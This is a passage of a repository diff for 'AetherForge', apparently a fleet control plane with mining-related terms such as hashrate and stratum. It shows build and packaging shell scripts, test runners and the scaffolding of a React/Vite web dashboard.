cp bin/cloudflared "$STAGE/bin/cloudflared"
echo " included bin/cloudflared"
fi
mkdir -p "$OUT_DIR"
tar -C "$OUT_DIR" -czf "$ARCHIVE" "$PKG_NAME"
rm -rf "$STAGE"
echo "==> Created $ARCHIVE"
echo " Extract anywhere, edit data/config.json, optionally data/cloudflared-token.txt, then:"
echo " ./LAUNCH.sh"

16
scripts/sync-webroot.sh Executable file
View File

@@ -0,0 +1,16 @@
#!/usr/bin/env bash
# Copy Vite build output into cmd/server/webroot for go:embed.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
DIST="$ROOT/web/dist"
WEBROOT="$ROOT/cmd/server/webroot"
if [[ ! -f "$DIST/index.html" ]]; then
echo "ERROR: $DIST/index.html missing — run: cd web && npm run build" >&2
exit 1
fi
rm -rf "$WEBROOT"
mkdir -p "$WEBROOT"
cp -a "$DIST"/. "$WEBROOT/"
echo "Synced web/dist -> cmd/server/webroot ($(find "$WEBROOT" -type f | wc -l) files)"

78
scripts/test-all.sh Executable file
View File

@@ -0,0 +1,78 @@
#!/usr/bin/env bash
# Run full AetherForge Linux test suite with summary
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
export GOROOT="${GOROOT:-/usr/local/go}"
export PATH="${GOROOT}/bin:${PATH}"
SUITE=(
"unit:scripts/test-unit.sh"
"integration:scripts/test-integration.sh"
"cli:scripts/test-cli.sh"
"frontend:scripts/test-frontend.sh"
"e2e:scripts/e2e-test.sh"
)
PASSED=()
FAILED=()
SKIPPED=()
run_suite() {
local name="$1" script="$2"
echo ""
echo "════════════════════════════════════════"
echo " Running ${name} tests"
echo "════════════════════════════════════════"
if [[ ! -x "${script}" ]]; then
chmod +x "${script}"
fi
if "${script}"; then
PASSED+=("${name}")
else
FAILED+=("${name}")
return 1
fi
}
CONTINUE_ON_FAIL="${CONTINUE_ON_FAIL:-0}"
OVERALL=0
for entry in "${SUITE[@]}"; do
name="${entry%%:*}"
script="${entry#*:}"
if [[ "${SKIP_E2E:-0}" == "1" && "${name}" == "e2e" ]]; then
SKIPPED+=("${name}")
echo "⊘ skipping e2e (SKIP_E2E=1)"
continue
fi
if [[ "${SKIP_FRONTEND:-0}" == "1" && "${name}" == "frontend" ]]; then
SKIPPED+=("${name}")
echo "⊘ skipping frontend (SKIP_FRONTEND=1)"
continue
fi
if run_suite "${name}" "${script}"; then
:
else
OVERALL=1
[[ "${CONTINUE_ON_FAIL}" == "1" ]] || break
fi
done
echo ""
echo "════════════════════════════════════════"
echo " Test summary"
echo "════════════════════════════════════════"
echo " Passed : ${#PASSED[@]} (${PASSED[*]:-none})"
echo " Failed : ${#FAILED[@]} (${FAILED[*]:-none})"
echo " Skipped: ${#SKIPPED[@]} (${SKIPPED[*]:-none})"
echo "════════════════════════════════════════"
if [[ "${OVERALL}" -ne 0 ]]; then
echo "✗ test-all FAILED"
exit 1
fi
echo "✓ test-all PASSED"
exit 0

48
scripts/test-cli.sh Executable file
View File

@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# CLI smoke tests for forge-mesh forge and agent binaries
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
export GOROOT="${GOROOT:-/usr/local/go}"
export PATH="${GOROOT}/bin:${PATH}"
CLI_CONFIG="/tmp/forge-mesh-cli-config.json"
CLI_DIR="/tmp/forge-mesh-cli"
mkdir -p "${CLI_DIR}"
cat > "${CLI_CONFIG}" <<EOF
{
"listen_addr": ":0",
"data_dir": "${CLI_DIR}",
"database_path": "${CLI_DIR}/cli.db",
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "cli-test-secret"
},
"forge": {
"signing_key_path": "${CLI_DIR}/signing.key",
"artifacts_dir": "${CLI_DIR}/artifacts"
}
}
EOF
echo "==> [cli] building forge CLI + agent"
make -C "${ROOT}" agent
go build -o "${CLI_DIR}/forge" ./cmd/forge
echo "==> [cli] forge pubkey"
PUBKEY="$("${CLI_DIR}/forge" pubkey --config "${CLI_CONFIG}")"
[[ -n "${PUBKEY}" ]] || { echo "empty pubkey"; exit 1; }
echo " pubkey: ${PUBKEY:0:16}..."
echo "==> [cli] forge build (public artifacts)"
BUILD_OUT="$("${CLI_DIR}/forge" build --config "${CLI_CONFIG}" --public 2>&1)"
echo "${BUILD_OUT}" | grep -q 'built linux/amd64' || { echo "${BUILD_OUT}"; exit 1; }
echo "==> [cli] agent --help exits cleanly"
./bin/forge-mesh-agent -h 2>&1 | grep -q 'deck' || ./bin/forge-mesh-agent 2>&1 | grep -q 'fleet secret'
echo "✓ cli tests passed"

18
scripts/test-frontend.sh Executable file
View File

@@ -0,0 +1,18 @@
#!/usr/bin/env bash
# Frontend unit tests (Vitest + Testing Library)
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
WEB="${ROOT}/web"
cd "${WEB}"
if [[ ! -d node_modules ]]; then
echo "==> [frontend] installing dependencies"
npm ci 2>/dev/null || npm install
fi
echo "==> [frontend] vitest run"
npm run test
echo "✓ frontend tests passed"

15
scripts/test-integration.sh Executable file
View File

@@ -0,0 +1,15 @@
#!/usr/bin/env bash
# Integration tests — HTTP router, stratum, fleet store against temp SQLite
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
export GOROOT="${GOROOT:-/usr/local/go}"
export PATH="${GOROOT}/bin:${PATH}"
export CGO_ENABLED="${CGO_ENABLED:-1}"
echo "==> [integration] api router + stratum + fleet store"
go test -count=1 -v ./internal/api/... ./internal/stratum/... ./internal/fleet/...
echo "✓ integration tests passed"

14
scripts/test-unit.sh Executable file
View File

@@ -0,0 +1,14 @@
#!/usr/bin/env bash
# Go unit tests (fast, no network)
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
export GOROOT="${GOROOT:-/usr/local/go}"
export PATH="${GOROOT}/bin:${PATH}"
echo "==> [unit] go test ./internal/..."
go test -count=1 -short ./internal/...
echo "✓ unit tests passed"

0
web/.gitkeep Normal file
View File

31
web/README.md Normal file
View File

@@ -0,0 +1,31 @@
# AetherForge Command Deck
React + Vite command deck for the AetherForge Linux control plane.
## Development
```bash
npm install
npm run dev
```
Proxies `/api` to `http://localhost:8989`.
## Routes
| Path | Description |
|------|-------------|
| `/login` | HTTP Basic login (sessionStorage) |
| `/dashboard` | Fleet host cards, hashrate, tier badges |
| `/forge` | Build pipeline placeholder |
| `/calibrate` | Policy editor placeholder |
| `/crucible` | Batch terminal placeholder |
| `/seer` | SSE stream viewer placeholder |
## Build
```bash
npm run build
```
Output in `dist/` for embedding by the Go server.

19
web/index.html Normal file
View File

@@ -0,0 +1,19 @@
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/forge.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>AetherForge Command Deck</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap"
rel="stylesheet"
/>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

6580
web/package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

40
web/package.json Normal file
View File

@@ -0,0 +1,40 @@
{
"name": "aetherforge-deck",
"private": true,
"version": "0.1.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc -b && vite build",
"preview": "vite preview",
"test": "vitest run",
"test:watch": "vitest",
"test:coverage": "vitest run --coverage"
},
"dependencies": {
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"lucide-react": "^0.469.0",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-router-dom": "^6.28.0",
"tailwind-merge": "^2.6.0"
},
"devDependencies": {
"@testing-library/jest-dom": "^6.9.1",
"@testing-library/react": "^16.3.2",
"@testing-library/user-event": "^14.6.1",
"@types/react": "^18.3.18",
"@types/react-dom": "^18.3.5",
"@vitejs/plugin-react": "^4.3.4",
"@vitest/coverage-v8": "^2.1.9",
"autoprefixer": "^10.4.20",
"jsdom": "^25.0.1",
"msw": "^2.14.6",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.17",
"typescript": "^5.7.2",
"vite": "^6.0.5",
"vitest": "^2.1.9"
}
}

Some files were not shown because too many files have changed in this diff Show More